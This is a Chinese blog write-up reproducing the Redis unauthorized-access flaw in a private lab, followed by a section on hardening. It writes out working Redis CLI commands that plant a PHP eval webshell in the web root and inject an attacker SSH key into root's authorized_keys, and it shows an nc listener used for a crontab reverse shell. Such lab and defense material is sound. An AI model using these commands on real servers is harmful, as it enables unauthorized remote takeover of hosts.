Redis未授权访问漏洞复现(包括环境搭建)

Redis环境搭建

一、工具
工具名称版本
redis3.2.9
centos6.9

Redis官网复制redis的下载连接:http://download.redis.io/releases/redis-3.2.9.tar.gz

二、redis安装步骤

解压redis

tar -zxvf  redis-3.2.9.tar.gz

重命名redis

mv redis-3.2.9 /usr/local/redis

编译安装redis

cd /usr/local/redis
make & make install

redis刚安装好时只能通过本地localhost (127.0.0.1)访问,而不能用其他网络ip区访问,如果没有配置好redis.conf使用网络ip访问redis会报以下的错误:

(error) DENIED Redis is running in protected mode because protected mode is enabled, no bind address was specified, no authentication password is requested to clients. In this mode connections are only accepted from the lookback interface. If you want to connect from external computers to Redis you may adopt one of the following solutions: 1) Just disable protected mode sending the command 'CONFIG SET protected-mode no' from the loopback interface by connecting to Redis from the same host the server is running, however MAKE SURE Redis is not publicly accessible from internet if you do so. Use CONFIG REWRITE to make this change permanent. 2) Alternatively you can just disable the protected mode by editing the Redis configuration file, and setting the protected mode option to 'no', and then restarting the server. 3) If you started the server manually just for testing, restart it with the --portected-mode no option. 4) Setup a bind address or an authentication password. NOTE: You only need to do one of the above things in order for the server to start accepting connections from the outside.

出现这个错误说明redis处于保护模式,只能本地访问,我们需要修改配置文件redis.conf配置文件。步骤如下:

  • 1)打开配置文件把下面对应的注释掉(或者可以针对自己的ip进行bind)

    #bind 127.0.0.1 
    
  • 2)Redis默认不是以守护进程的方式运行,可以通过该配置项修改,使用yes启用守护进程,设置为no

    daemonize no
    
  • 3)保护模式

    protected-mode no
    
  • 4)重新启动配置文件才会生效:

    redis-server redis.conf(在redis.conf文件目录下执行)
    
  • 5)关闭防火墙

  • 6)出现如下信息说明环境已配置完成

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

拿shell的三种姿势

一、通过向Web目录中写webshell
  1. 测试环境
    攻击A(kali):192.168.192.171
    靶机B(CentOS):192.168.192.181

  2. 测试步骤

  3. 执行命令

    ./redis-cli -h 192.168.192.181 
    config set dir /var/www/html set x "\n\n\n<?php @eval($_POST['cmd']);?>\n\n\n" 
    config set dbfilename 1.php 
    save
    

    在这里插入图片描述

    使用菜刀连接,如下已获取到了系统的目录:
    在这里插入图片描述

二、利用计划任务执行命令反弹shel
  1. 测试环境
    攻击A(kali):192.168.192.171
    靶机B(CentOS):192.168.192.181

  2. 测试步骤
    先在A上监听一个端口: nc -lvnp 7999
    然后利用redis以root权限运行时写crontab
    在这里插入图片描述
    在这里插入图片描述

三、写入ssh公钥,获取操作系统权限
  1. 测试环境
    靶机:centos6.9 ip:172.16.1.150
    攻击机:RH6.5 ip:172.16.1.133

  2. 测试步骤
    首先在本地生产公私钥文件:
    $ ssh-keygen –t rsa
    在这里插入图片描述
    注意:记住生成公钥是填写的passphrase,因为这是登录到靶机的密码。
    然后将公钥写入 test.txt 文件

    $ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > test.txt
    连接 靶机Redis 写入文件
    $ redis-cli -h 172.16.1.150
    $ 172.16.1.150:6379> config set dir /root/.ssh/
    OK
    $ 172.16.1.150:6379> config get dir
    1) "dir"
    2) "/root/.ssh"
    $ 172.16.1.150:6379> config set dbfilename "authorized_keys"
    OK
    $ 172.16.1.150:6379> save
    OK
    

    在这里插入图片描述
    这样就可以成功的将自己的公钥写入 /root/.ssh 文件夹的 authotrized_keys 文件里,然后攻击者直接执行ssh 172.16.1.150,输入生成公钥时填的key作为靶机的密码
    在这里插入图片描述

redis未授权漏洞防御手段

  1. 禁止一些高危命令
    修改 redis.conf 文件,添加

    rename-command FLUSHALL ""
    rename-command CONFIG ""
    rename-command EVAL ""
    

    用来禁用远程修改 DB 文件地址

  2. 以低权限运行 Redis 服务
    为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆

    $ groupadd -r redis && useradd -r -g redis redis
    
  3. 为 Redis 添加密码验证
    修改 redis.conf 文件,添加

    requirepass mypassword
    
  4. 禁止外网访问 Redis
    修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用

    bind 127.0.0.1
    
  5. 保证 authorized_keys 文件的安全
    为了保证安全,您应该阻止其他用户添加新的公钥。
    将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:

    $ chmod 400 ~/.ssh/authorized_keys
    

    为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:

    # chattr +i ~/.ssh/authorized_keys
    

    然而,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable 位权限:

    # chattr +i ~/.ssh
    

    注意: 如果需要添加新的公钥,需要移除 authorized_keys 的 immutable 位权限。然后,添加好新的公钥之后,按照上述步骤重新加上 immutable 位权限。

    关注公众号,一起分享实用安全技术,关注安全最新事件,记录工作常见问题,吐槽生活真心操蛋。
    在这里插入图片描述

  • 4
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值